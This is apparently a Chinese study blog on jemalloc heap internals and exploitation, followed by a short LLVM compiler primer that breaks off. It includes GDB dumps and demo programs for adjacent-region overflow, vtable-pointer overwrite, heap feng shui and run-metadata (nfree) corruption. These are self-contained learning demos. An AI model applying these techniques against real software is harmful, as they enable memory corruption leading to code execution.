>> foo[11]-foo[10]=1
foo[11]: size:320 0x91c60000
>> foo[12]-foo[11]=5
foo[12]: size:384 0x91c65000
>> foo[13]-foo[12]=3
foo[13]: size:448 0x91c68000
>> foo[14]-foo[13]=7
foo[14]: size:512 0x91c6f000
  • 不管重复多少次后5位始终不变,说明 jemalloc 的分配以 100page 为单位
  • 地址的分配似乎没有什么规律,可能是 jemalloc 的保护机制吧

Jemalloc GDB

GDB 可以用来打印 jemalloc 里面的符号(各种全局变量和结构体),前提如下:

  • 在GCC编译时加上 “-ljemalloc”
  • 用 directory 导入对应版本的 jemalloc 源码文件

arena 是 jemalloc 的总的管理块,一个进程中可以有多个 arena,arena 的最大个可以通过静态变量 narenas_total 得知,可以在 GDB 中进行打印:

1
2
3
4
pwndbg> p narenas_total 
$1 = {
repr = 8
}

可通过静态数组 arenas 获取进程中所有 arena 的指针:

1
2
3
4
5
6
pwndbg> p *je_arenas@2 /* 添加@n可以使GDB一次显示n个数据块 */
$6 = {{
repr = 0x7ffff757e980
}, {
repr = 0x0
}}
1
2
3
4
5
6
7
pwndbg> p (arena_t **)je_arenas
$7 = (arena_t **) 0x7ffff7da2a80 <je_arenas>

pwndbg> telescope 0x7ffff7da2a80
00:00000x7ffff7da2a80 (je_arenas) —▸ 0x7ffff757e980 ◂— 0x100000001
01:00080x7ffff7da2a88 (je_arenas+8) ◂— 0x0
... ↓ 6 skipped
  • 在结构体 arena_t 中有个类型为 arena_bin_t 的数组 bins(动态分配数组 bins 的大小),数组 bins 的每个条目对应1种大小的 region 和 run
  • binind 表示 bins 中的偏移,每一个 binind 对应一个固定大小的 region,其对应关系为:
1
2
3
4
5
6
7
8
9
binind = arena_bin_index(chunk->arena, run->bin);
bin_info = &arena_bin_info[binind];

static inline szind_t
arena_bin_index(arena_t *arena, arena_bin_t *bin) {
szind_t binind = (szind_t)(bin - arena->bins);
assert(binind < NBINS);
return binind;
}

在 GDB 中,我们可以通过静态变量 arena_bin_info 获取对应 bin 的其他信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
pwndbg> p je_arena_bin_info
$11 = {{
reg_size = 8,
slab_size = 4096,
nregs = 512,
bitmap_info = {
nbits = 512,
ngroups = 8
}
}, {
reg_size = 16,
slab_size = 4096,
nregs = 256,
bitmap_info = {
nbits = 256,
ngroups = 4
}
}, {
reg_size = 32,
slab_size = 4096,
nregs = 128,
bitmap_info = {
nbits = 128,
ngroups = 2
}
}, {
reg_size = 48,
slab_size = 12288,
nregs = 256,
bitmap_info = {
nbits = 256,
ngroups = 4
}
}, {

......

}, {
reg_size = 12288,
slab_size = 12288,
nregs = 1,
bitmap_info = {
nbits = 1,
ngroups = 1
}
}, {
reg_size = 14336,
slab_size = 28672,
nregs = 2,
bitmap_info = {
nbits = 2,
ngroups = 1
}
}}

可以通过指定 index 来获取对应 size 范围的 arena_bin_info:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> p je_arena_bin_info[2]
$12 = {
reg_size = 32,
slab_size = 4096,
nregs = 128,
bitmap_info = {
nbits = 128,
ngroups = 2
}
}
pwndbg> p je_arena_bin_info[3]
$13 = {
reg_size = 48,
slab_size = 12288,
nregs = 256,
bitmap_info = {
nbits = 256,
ngroups = 4
}
}
  • 在结构体 arena_bin_t 中有个类型为 arena_run_t 的指针 runcur,指向当前可用于分配的 run
  • runs 是个红黑树,链接当前 arena 中,所有可用的相同大小 region 对应的 run,如果 runcur 已满,就会从 runs 里找可用的 run
  • stats 是当前 bin 对应的 run 和 region 的状态信息

Adjacent region corruption(相邻区域冲突)

Adjacent region corruption 的核心思想为:利用了堆管理器将用户空间相邻放置的事实,在 jemalloc 中,相同大小类别的区域被放置在同一个 bin 上,如果它们也被放置在 bin 的同一 run 中,则它们之间没有 inline metadata

现在,让我们假设相同大小类新分配的 region 被放置在同一次 run 中:

  • 我可以放置一个 victim object/structure 到某个 object/structure 旁边
  • 我们选择的 object/structure 必须是:在同一个 run 中,相邻的,大小相同的,易受伤害的
  • 唯一的要求是:“受害对象” 和 “易受攻击对象” 的大小必须能够放入它们,并且有相同的 size class,方便我们继续溢出
  • 通常受害区域是可以帮助我们实现任意代码执行的东西,例如函数指针

利用案例一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <jemalloc/jemalloc.h>

int main(int argc, char **argv)
{
char *one, *two, *three;
char padding[30];

printf("[*] before overflowing\n");

memset(padding, 0x58, 30);
printf("padding:\t\t%s\n",padding);

one = malloc(0x10);
memset(one, 0x41, 0x10);
printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one);

two = malloc(0x10);
memset(two, 0x42, 0x10);
printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two);

three = malloc(0x10);
memset(three, 0x43, 0x10);
printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three);

/* [3-1] */

printf("[+] copying padding to region two\n");
strcpy(two, padding);

printf("[*] after overflowing\n");
printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one);
printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two);
printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three);

/* [3-2] */

free(one);
free(two);
free(three);

printf("[*] after freeing all regions\n");
printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one);
printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two);
printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three);

/* [3-3] */

return 0;
}
  • 申请了三片区域:“one”,“two”,“three”
  • 在区域 “two” 中制造溢出
  • 释放这三片区域

执行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
exp gcc test.c -o jemalloc -ljemalloc -g -no-pie
exp ./jemalloc
[*] before overflowing
[+] padding: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] region one: 0x115a7000: AAAAAAAAAAAAAAAA
[+] region two: 0x115a7010: BBBBBBBBBBBBBBBB
[+] region three: 0x115a7020: CCCCCCCCCCCCCCCC
[+] copying padding to region two
[*] after overflowing
[+] region one: 0x115a7000: AAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] region two: 0x115a7010: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] region three: 0x115a7020: XXXXXXXXXXXXXX
[*] after freeing all regions
[+] region one: 0x115a7000: AAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] region two: 0x115a7010: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] region three: 0x115a7020: XXXXXXXXXXXXXX
  • 关键点1:“one”,“two”,“three” 的数据地址刚好相差 0x10,说明数据连续
  • 关键点2:“two” 中溢出了30字节的“0x58”后,printf 的 “打印边界” 似乎出问题了
  • 关键点3:释放之后,“one”,“two”,“three” 的数据没有置空(UAF预备)

接下来就进行单步调试,分析一下以上这些疑点:

断点在 [3-1] 处:

1
2
3
4
pwndbg> x/20wx 0x7ffff73a0000
0x7ffff73a0000: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffff73a0010: 0x42424242 0x42424242 0x42424242 0x42424242
0x7ffff73a0020: 0x43434343 0x43434343 0x43434343 0x43434343
  • 可以发现,“one”,“two”,“three” 的数据真的是连续的

断点在 [3-2] 处:

1
2
3
4
pwndbg> x/20wx 0x7ffff73a0000
0x7ffff73a0000: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffff73a0010: 0x58585858 0x58585858 0x58585858 0x58585858
0x7ffff73a0020: 0x58585858 0x58585858 0x58585858 0x43005858
  • padding 的30个“0x58”完全覆盖了 “two”,并且在 “three” 上持续了15字节(包括最后的“\x00”)
  • 这似乎扰乱了 printf 的打印(不知道是 printf 本身的性质,还是 Regions 的问题),从结果来看,一旦溢出现象发生后,printf 就会分不清楚 Regions 之间的界限,然后用“\x00”来区分 Regions 的范围
  • 利用这个特性,可以溢出一些重要数据

断点在 [3-3] 处:

1
2
3
4
pwndbg> x/20wx 0x7ffff73a0000
0x7ffff73a0000: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffff73a0010: 0x58585858 0x58585858 0x58585858 0x58585858
0x7ffff73a0020: 0x58585858 0x58585858 0x58585858 0x43005858
  • free 执行完成后,heap 上的数据没有收到任何的影响

利用案例二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <stdio.h>
#include <string.h>
#include <jemalloc/jemalloc.h>

class base
{
private:
char buf[32];
public:
void copy(const char *str)
{
strcpy(buf, str);
}
virtual void print(void)
{
printf("buf: 0x%lx: %s\n", (char*)buf, buf);
}
};

class derived_a : public base
{
public:
void print(void)
{
printf("[+] derived_a: ");
base::print();
}
};

class derived_b : public base
{
public:
void print(void)
{
printf("[+] derived_b: ");
base::print();
}
};

int main(uintptr_t argc, char *argv[])
{
base *obj_a;
base *obj_b;
char padding1[49];
char padding2[11];

obj_a = new derived_a;
obj_b = new derived_b;

memset(padding1, 0x41, 48);
printf("padding1:\t%s\n",padding1);
memset(padding2, 0x42, 10);
printf("padding2:\t%s\n",padding2);

printf("[+] obj_a:\t0x%lx\n", (uintptr_t )obj_a);
printf("[+] obj_b:\t0x%lx\n", (uintptr_t )obj_b);

printf("[+] overflowing from obj_a into obj_b\n");
obj_a->copy(padding1);
obj_b->copy(padding2);

obj_a->print();
obj_b->print();

return 0;
}
  • 定义了 base 类:
    • 函数 copy:用于在 buf 中制造溢出
    • 虚函数 print:用于打印 buf
  • 定义了 derived_a,derived_b 类继承 base 类:
    • 重写虚函数 print

执行结果:

1
2
3
4
5
6
7
8
9
exp gcc test.c -o jemalloc -ljemalloc -g -no-pie
exp ./jemalloc
padding1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
padding2: BBBBBBBBBB
[+] obj_a: 0x7f4b750ae000
[+] obj_b: 0x7f4b750ae030
[+] overflowing from obj_a into obj_b
[+] derived_a: buf: 0x7f4b750ae008: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBB
[1] 7331 segmentation fault ./jemalloc
  • derived_b 的 print 一执行就直接报错了,很有可能是虚表的问题

接下来就进行单步调试:

断点一,“new derived_a” 执行前:

1
2
3
4
5
  0x4011eb <main+21>    mov    rax, qword ptr fs:[0x28]
0x4011f4 <main+30> mov qword ptr [rbp - 0x18], rax
0x4011f8 <main+34> xor eax, eax
0x4011fa <main+36> mov edi, 0x28
0x4011ff <main+41> call 0x4010a0 <0x4010a0>
  • 这个 “0x4010a0” 就是 new 的 PLT 表地址
1
2
3
4
pwndbg> x/20xg  0x4010a0
0x4010a0 <operator new(unsigned long)@plt>: 0x7525fff2fa1e0ff3 0x0000441f0f00002f
0x4010b0 <memset@plt>: 0x6d25fff2fa1e0ff3 0x0000441f0f00002f
0x4010c0 <strcpy@plt>: 0x6525fff2fa1e0ff3 0x0000441f0f00002f
  • 调用 “0x4010a0” 前,需要把 “它将要创建的对象的大小” 作为参数,即 0x28 字节(buf[32]+VPTR)
  • 可以发现:buf[32] 和 VPTR 是连续的,完全可以把 buf 中的数据溢出到 VPTR 中

断点二,“obj_a->copy(padding1)” 执行前:

1
2
3
4
5
  0x4012c4 <main+238>    lea    rdx, [rbp - 0x50]
0x4012c8 <main+242> mov rax, qword ptr [rbp - 0x70]
0x4012cc <main+246> mov rsi, rdx
0x4012cf <main+249> mov rdi, rax
0x4012d2 <main+252> call 0x401330 <0x401330>
  • 这个 “0x401330” 就是 base::copy() 的代码地址
  • 下面是 heap 的空间排列:
1
2
02:00100x7fffffffde20 —▸ 0x7ffff739d000 —▸ 0x403da0 —▸ 0x401396 (derived_a::print()) ◂— endbr64 
03:00180x7fffffffde28 —▸ 0x7ffff739d030 —▸ 0x403d88 —▸ 0x4013c6 (derived_b::print()) ◂— endbr64
  • “0x7ffff739d000” 就是 new 为 derived_a 申请的 heap 空间:
    • 大小为 0x30(0x28:0x10字节对齐)
    • “0x403da0” 就是 derived_a 的虚表(只装有 “derived_a::print()”,以“\x00”结尾)
    • 剩下的都是 buf 的空间
  • “0x7ffff739d030” 就是 new 为 derived_b 申请的 heap 空间:
    • 大小为 0x30(0x28:0x10字节对齐)
    • “0x403d88” 就是 derived_b 的虚表(只装有 “derived_b::print()”,以“\x00”结尾)
    • 剩下的都是 buf 的空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> telescope 0x7ffff739d000 /* derived_a on heap */
00:00000x7ffff739d000 —▸ 0x403da0 —▸ 0x401396 (derived_a::print()) ◂— endbr64
01:00080x7ffff739d008 ◂— 0x0

pwndbg> telescope 0x7ffff739d030 /* derived_b on heap */
00:0000│ rbx 0x7ffff739d030 —▸ 0x403d88 —▸ 0x4013c6 (derived_b::print()) ◂— endbr64
01:00080x7ffff739d038 ◂— 0x0

pwndbg> telescope 0x403da0 /* vtable of derived_a */
00:00000x403da0 —▸ 0x401396 (derived_a::print()) ◂— endbr64
01:00080x403da8 ◂— 0x0

pwndbg> telescope 0x403d88 /* vtable of derived_b */
00:00000x403d88 —▸ 0x4013c6 (derived_b::print()) ◂— endbr64
01:00080x403d90 ◂— 0x0

断点三,“obj_a->print()” 执行前:

1
2
3
4
5
RDX  0x401396 (derived_a::print()) ◂— endbr64 
....
0x4012f8 <main+290> mov rdi, rax
0x4012fb <main+293> call rdx <derived_a::print()>
rdi: 0x7ffff739d000 —▸ 0x403da0 —▸ 0x401396 (derived_a::print()) ◂— endbr64
  • rdx 装有 “0x401396”,就是 derived_a::print() 的代码地址
  • 下面是 heap 的空间排列:
1
2
3
4
5
pwndbg> telescope 0x7ffff739d000
00:0000│ rax rdi 0x7ffff739d000 —▸ 0x403da0 —▸ 0x401396 (derived_a::print()) ◂— endbr64
01:00080x7ffff739d008 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBB'
... ↓ 5 skipped
07:00380x7ffff739d038 ◂— 'BBBBBBBBBB'
  • 可以发现 derived_a->buf 中溢出的数据,已经把 derived_b->VPTR 覆盖了
  • 执行 derived_a::print() 时没有问题,执行 derived_b::print() 时肯定就会报错
  • 如果 VPTR 被我们控制为 shellcode,就可以 get shell

Heap manipulation(堆风水)

为了能够将 jemalloc 堆安排在可预测的状态,我们需要了解分配器的行为并使用堆操作策略来影响它,使其对我们有利,堆操作策略在 Alexander Sotirov 的推广之后被称为“堆风水”

先看以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#define TSIZE   0x10            /* target size class */
#define NALLOC 500 /* number of allocations */
#define NFREE (NALLOC / 10) /* number of deallocations */

int main(){
char *foo[NALLOC];
char *bar[NALLOC];
int i;

printf("step 1: controlled allocations of victim objects\n");

for(i = 0; i < NALLOC; i++)
{
foo[i] = malloc(TSIZE);
printf("foo[%d]:\t\t%p\n", i, (unsigned int)foo[i]);
}

puts("-------------------------------------------------");

printf("step 2: creating holes in between the victim objects\n");

for(i = (NALLOC - NFREE); i < NALLOC; i += 2)
{
printf("freeing foo[%d]:\t%p\n", i, (unsigned int)foo[i]);
free(foo[i]);
}

puts("-------------------------------------------------");

printf("step 3: fill holes with vulnerable objects\n");

for(i = (NALLOC - NFREE + 1); i < NALLOC; i += 2)
{
bar[i] = malloc(TSIZE);
printf("bar[%d]:\t%p\n", i, (unsigned int)bar[i]);
}

puts("-------------------------------------------------");

return 0;
}

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
exp gcc test.c -o jemalloc -ljemalloc -g -no-pie
exp ./jemalloc
step 1: controlled allocations of victim objects
foo[0]: 0xa2ae000
foo[1]: 0xa2ae010
foo[2]: 0xa2ae020
foo[3]: 0xa2ae030
foo[4]: 0xa2ae040
foo[5]: 0xa2ae050
foo[6]: 0xa2ae060
foo[7]: 0xa2ae070
foo[8]: 0xa2ae080
foo[9]: 0xa2ae090
foo[10]: 0xa2ae0a0
foo[11]: 0xa2ae0b0
foo[12]: 0xa2ae0c0
foo[13]: 0xa2ae0d0
foo[14]: 0xa2ae0e0
foo[15]: 0xa2ae0f0
foo[16]: 0xa2ae100
......
foo[489]: 0xa2afe90
foo[490]: 0xa2afea0
foo[491]: 0xa2afeb0
foo[492]: 0xa2afec0
foo[493]: 0xa2afed0
foo[494]: 0xa2afee0
foo[495]: 0xa2afef0
foo[496]: 0xa2aff00
foo[497]: 0xa2aff10
foo[498]: 0xa2aff20
foo[499]: 0xa2aff30
-------------------------------------------------
step 2: creating holes in between the victim objects
freeing foo[450]: 0xa2afc20
freeing foo[452]: 0xa2afc40
freeing foo[454]: 0xa2afc60
freeing foo[456]: 0xa2afc80
freeing foo[458]: 0xa2afca0
freeing foo[460]: 0xa2afcc0
freeing foo[462]: 0xa2afce0
freeing foo[464]: 0xa2afd00
......
freeing foo[486]: 0xa2afe60
freeing foo[488]: 0xa2afe80
freeing foo[490]: 0xa2afea0
freeing foo[492]: 0xa2afec0
freeing foo[494]: 0xa2afee0
freeing foo[496]: 0xa2aff00
freeing foo[498]: 0xa2aff20
-------------------------------------------------
step 3: fill holes with vulnerable objects
bar[451]: 0xa2aff20
bar[453]: 0xa2aff00
bar[455]: 0xa2afee0
bar[457]: 0xa2afec0
bar[459]: 0xa2afea0
bar[461]: 0xa2afe80
bar[463]: 0xa2afe60
bar[465]: 0xa2afe40
......
bar[487]: 0xa2afce0
bar[489]: 0xa2afcc0
bar[491]: 0xa2afca0
bar[493]: 0xa2afc80
bar[495]: 0xa2afc60
bar[497]: 0xa2afc40
bar[499]: 0xa2afc20
-------------------------------------------------

这里有很大的争议,我在网上看到了两种声音:

  • 从 5.0.1 版本的测试来看,jemalloc 采用了 LIFO 队列
  • 但网上有人认为 jemalloc 采用了 FIFO 队列,从他们的数据截图来看也的确是 FIFO 队列,我猜测可能是因为 jemalloc 的版本导致了分配次序的不同

最后说一下我自己的观点:(我只测试了两个版本)

我觉得 jemalloc-2.2.5 既不是 FIFO 也不是 LIFO,它只会在 run 所属的空间中,从低地址到高地址挨个找寻合适的 region 并分配出来

  • 以下代码可以证明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0x30, '0' * 0x30) 
add(0x30, '1' * 0x30)
add(0x30, '2' * 0x30)
add(0x30, '3' * 0x30)
add(0x30, '4' * 0x30)

kill(4)
kill(2)
kill(3)
kill(1)

add(0x30, 'a' * 0x30)
add(0x30, 'b' * 0x30)
add(0x30, 'c' * 0x30)
add(0x30, 'd' * 0x30)
  • 结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/20xg 0x7fa34240b040
0x7fa34240b040: 0x3030303030303030 0x3030303030303030 /* 0 */
0x7fa34240b050: 0x3030303030303030 0x3030303030303030
0x7fa34240b060: 0x3030303030303030 0x3030303030303030
0x7fa34240b070: 0x6161616161616161 0x6161616161616161 /* a */
0x7fa34240b080: 0x6161616161616161 0x6161616161616161
0x7fa34240b090: 0x6161616161616161 0x6161616161616161
0x7fa34240b0a0: 0x6262626262626262 0x6262626262626262 /* b */
0x7fa34240b0b0: 0x6262626262626262 0x6262626262626262
0x7fa34240b0c0: 0x6262626262626262 0x6262626262626262
0x7fa34240b0d0: 0x6363636363636363 0x6363636363636363 /* c */
0x7fa34240b0e0: 0x6363636363636363 0x6363636363636363
0x7fa34240b0f0: 0x6363636363636363 0x6363636363636363
0x7fa34240b100: 0x6464646464646464 0x6464646464646464 /* d */
0x7fa34240b110: 0x6464646464646464 0x6464646464646464
0x7fa34240b120: 0x6464646464646464 0x6464646464646464
  • 我还尝试了其他的组合,不管释放的顺序如何改变,“a,b,c,d” 的顺序是不变的
  • 也就是说,jemalloc-2.2.5 的释放和链表没有关系,分配时,就是从低地址到高地址遍历就行了

而 jemalloc-5.0.1 的确是 LIFO 队列,空闲 region 可能是用链表组织起来的

  • 以下代码可以证明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#define TSIZE   0x10            /* target size class */
#define NALLOC 10 /* number of allocations */
#define NFREE (NALLOC / 10) /* number of deallocations */
#include <stdio.h>
#include <string.h>
#include <jemalloc/jemalloc.h>

int main(){
char *foo[NALLOC];
char *bar[NALLOC];
int i;

printf("step 1: controlled allocations of victim objects\n");

for(i = 0; i < NALLOC; i++)
{
foo[i] = malloc(TSIZE);
printf("foo[%d]:\t\t%p\n", i, (unsigned int)foo[i]);
}

printf("step 2: creating holes in between the victim objects\n");

free(foo[8]);
free(foo[5]);
free(foo[7]);
free(foo[6]);
free(foo[9]);
printf("foo[%d]:\t\t%p\n", 8, (unsigned int)foo[8]);
printf("foo[%d]:\t\t%p\n", 5, (unsigned int)foo[5]);
printf("foo[%d]:\t\t%p\n", 7, (unsigned int)foo[7]);
printf("foo[%d]:\t\t%p\n", 6, (unsigned int)foo[6]);
printf("foo[%d]:\t\t%p\n", 9, (unsigned int)foo[9]);

printf("step 3: fill holes with vulnerable objects\n");

for(i = 0; i < NALLOC/2; i++)
{
bar[i] = malloc(TSIZE);
printf("bar[%d]:\t\t%p\n", i, (unsigned int)bar[i]);
}

return 0;
}
  • 结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
exp ./jemalloc                                                           
step 1: controlled allocations of victim objects
foo[0]: 0x175f9000
foo[1]: 0x175f9010
foo[2]: 0x175f9020
foo[3]: 0x175f9030
foo[4]: 0x175f9040
foo[5]: 0x175f9050
foo[6]: 0x175f9060
foo[7]: 0x175f9070
foo[8]: 0x175f9080
foo[9]: 0x175f9090
step 2: creating holes in between the victim objects
foo[8]: 0x175f9080
foo[5]: 0x175f9050
foo[7]: 0x175f9070
foo[6]: 0x175f9060
foo[9]: 0x175f9090
step 3: fill holes with vulnerable objects
bar[0]: 0x175f9090
bar[1]: 0x175f9060
bar[2]: 0x175f9070
bar[3]: 0x175f9050
bar[4]: 0x175f9080
  • 我故意打乱了释放的顺序,但是 jemalloc-5.0.1 还是可以“记住”我的释放顺序
  • 也就是说,jemalloc-5.0.1 中一定有一个结构来我的释放顺序,极有可能是链表(我在源码中没有找到)
  • 从结果上分析,jemalloc-5.0.1 采用了 LIFO

Metadata corruption(元数据损坏)

由于 jemalloc 不是基于 freelists(它使用基于宏的红黑树代替),因此无法使用 unlink 和 frontlink 漏洞利用技术,相反,我们将关注如何强制 “malloc()” 返回一个指向已初始化堆区域的指针

Run (arena_run_t)

run 只是一些相同 size 的 regions 的集合,run 的元数据遵循 arena_run_t 的结构,每个
run 包含一个指向它所在区域的 bin 的指针

在解除分配时,区域大小是未知的,因此无法直接计算 bin 索引,相反,jemalloc 将首先找到要释放的内存所在的 run,然后取消引用存储在 run 的 header 中的 bin 指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/* jemalloc-2.2.5/src/arena.c */

static void
arena_dalloc_bin_run(arena_t *arena, arena_chunk_t *chunk, arena_run_t *run,
arena_bin_t *bin)
{
size_t binind;
arena_bin_info_t *bin_info;
size_t npages, run_ind, past;

assert(run != bin->runcur);
assert(arena_run_tree_search(&bin->runs, &chunk->map[
(((uintptr_t)run-(uintptr_t)chunk)>>PAGE_SHIFT)-map_bias]) == NULL);

binind = arena_bin_index(chunk->arena, run->bin);
bin_info = &arena_bin_info[binind];

malloc_mutex_unlock(&bin->lock);
/******************************/
npages = bin_info->run_size >> PAGE_SHIFT;
run_ind = (size_t)(((uintptr_t)run - (uintptr_t)chunk) >> PAGE_SHIFT);
past = (size_t)(PAGE_CEILING((uintptr_t)run +
(uintptr_t)bin_info->reg0_offset + (uintptr_t)(run->nextind *
bin_info->reg_size) - (uintptr_t)chunk) >> PAGE_SHIFT);
malloc_mutex_lock(&arena->lock);

/* 如果run最初是干净的,并且某些页面未被使用,则释放run的脏部分之前,修剪干净的页面 */
if ((chunk->map[run_ind-map_bias].bits & CHUNK_MAP_DIRTY) == 0 && past
- run_ind < npages) {
/* 修剪干净的页面,事先转换为large run,首先设置最后一个map元素,以防这是one-page run */
chunk->map[run_ind+npages-1-map_bias].bits = CHUNK_MAP_LARGE |
(chunk->map[run_ind+npages-1-map_bias].bits &
CHUNK_MAP_FLAGS_MASK);
chunk->map[run_ind-map_bias].bits = bin_info->run_size |
CHUNK_MAP_LARGE | (chunk->map[run_ind-map_bias].bits &
CHUNK_MAP_FLAGS_MASK);
arena_run_trim_tail(arena, chunk, run, (npages << PAGE_SHIFT),
((past - run_ind) << PAGE_SHIFT), false);
/* npages = past - run_ind; */
}
#ifdef JEMALLOC_DEBUG
run->magic = 0;
#endif
arena_run_dalloc(arena, run, true);
malloc_mutex_unlock(&arena->lock);
/****************************/
malloc_mutex_lock(&bin->lock);
#ifdef JEMALLOC_STATS
bin->stats.curruns--;
#endif
}
  • malloc 的分配相当依赖 arena_run_t 结构体,而 jemalloc-2.2.5 分配 region 前,会在目标 run 的范围的头部申请一个 arena_run_t 结构体来管理 run(jemalloc-5.0.1 不会分配)
  • 如果有堆溢出,就可以劫持 arena_run_t 结构体
  • 主要是劫持 arena_run_t->nfree:
1
2
3
4
5
6
7
pwndbg> p (arena_run_t)*0x7fc184808000
$1 = {
magic = 944430995,
bin = 0x7fc185000d70,
nextind = 1,
nfree = 49 /* target */
}
  • 如果 nfree 为初始值,jemalloc.2.2.5 就会认为该 run 没有进行分配,然后无视之前已经在 run 中分配的部分,从头开始申请
  • 这样就可以覆盖一些关键数据

LLVM 简析

LLVM 项目是模块化、可重用的编译器以及工具链技术的集合,用于优化以任意程序语言编写的程序的编译时间 (compile-time),链接时间 (link-time),运行时间 (run-time),以及空闲时间 (idle-time)

LLVM 官方文档:https://llvm.org/docs/WritingAnLLVMPass.html

LLVM 的安装:一份关于各种安装LLVM的方法的总结

报错 llvm-config 无法找到:sudo apt install llvm

报错 Failed building wheel for llvmlite:Python安装llvmlite、numba报错解决方案

编译原理

编译可以分为五个基本步骤:

  • 词法分析
  • 语法分析
  • 语义分析
  • 中间代码的生成、优化
  • 目标代码的生成

这是每个编译器都必须的基本步骤和流程,从源头输入高级语言源程序输出目标语言代码

具体流程如下:

1
源代码 ==>[词法分析]==> 词法单元流(token) ==>[语法分析]==> 语法树(AST) ==>[语义分析]==> 语法树(AST) ==>[中间代码的生成,优化]==> 中间代码 ==>[目标代码的生成]==> 目标机器代码

词法分析

词法分析器对构成源程序的字符串从左到右的扫描,逐个字符地读,识别出每个单词符号(识别出的符号一般以二元式形式输出),即包含符号种类的编码和该符号的值

词法分析器一般以函数的形式存在,供语法分析器调用,当然也可以一个独立的词法分析器程序存在,完成词法分析任务的程序称为词法分析程序或词法分析器或扫描器

语法分析

这阶段的任务是在词法分析的基础上,将识别出的单词符号序列组合成各类语法短语,如“语句”,“表达式”等

语法分析程序的主要步骤是判断源程序语句是否符合定义的语法规则,在语法结构上是否正确

语义分析

词法分析注重的是每个单词是否合法,以及这个单词属于语言中的哪些部分,语法分析的上下文无关文法注重的是输入语句是否可以依据文法匹配产生式

中间代码的生成、优化

在进行了语法分析和语义分析阶段的工作之后,有的编译程序将源程序变成一种内部表示形式,这种内部表示形式叫做中间语言或中间表示或中间代码

所谓“中间代码”是一种结构简单、含义明确的记号系统,这种记号系统复杂性介于源程序语言和机器语言之间,容易将它翻译成目标代码

目标代码的生成

根据优化后的中间代码,可生成有效的目标代码,而通常编译器将其翻译为汇编代码,此时还需要将汇编代码经汇编器汇编为目标机器的机器语言

LLVM IR

在开发编译器时,通常的做法是将源代码编译到某种中间表示(Intermediate Representation,一般称为 IR),然后再将 IR 翻译为目标体系结构的汇编(比如 MIPS 或 X86)

LLVM 的流程如下:

1
源代码 ==>[词法分析]==> 词法单元流(token) ==>[语法/语义分析]==> 语法树(AST) ==>[中间代码的生成]==> LLVM IR ==>[中间代码的优化]==> 生成汇编代码 ==>[汇编+链接]==> 目标机器代码

传给 LLVM PASS 进行优化的数据是 LLVM IR,即代码的中间表示,LLVM IR有三种表示形式 :这三种中间格式是完全等价的:

  • 在内存中的编译中间语言(我们无法通过文件的形式得到)
  • 在硬盘上存储的二进制中间语言(格式为 .bc
  • 人类可读的代码语言(格式为 .ll

从对应格式转化到另一格式的命令如下:

1
2
3
4
5
.c -> .ll:clang -emit-llvm -S a.c -o a.ll
.c -> .bc: clang -emit-llvm -c a.c -o a.bc
.ll -> .bc: llvm-as a.ll -o a.bc
.bc -> .ll: llvm-dis a.bc -o a.ll
.bc -> .s: llc a.bc -o a.s

案例:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <unistd.h>

int main() {
char name[0x10];
read(0,name,0x10);
write(1,name,0x10);
printf("bye\n");
}

运行以下命令:

1
➜  clang -emit-llvm -S main.c -o main.ll

结果:

1
2
3
4
5
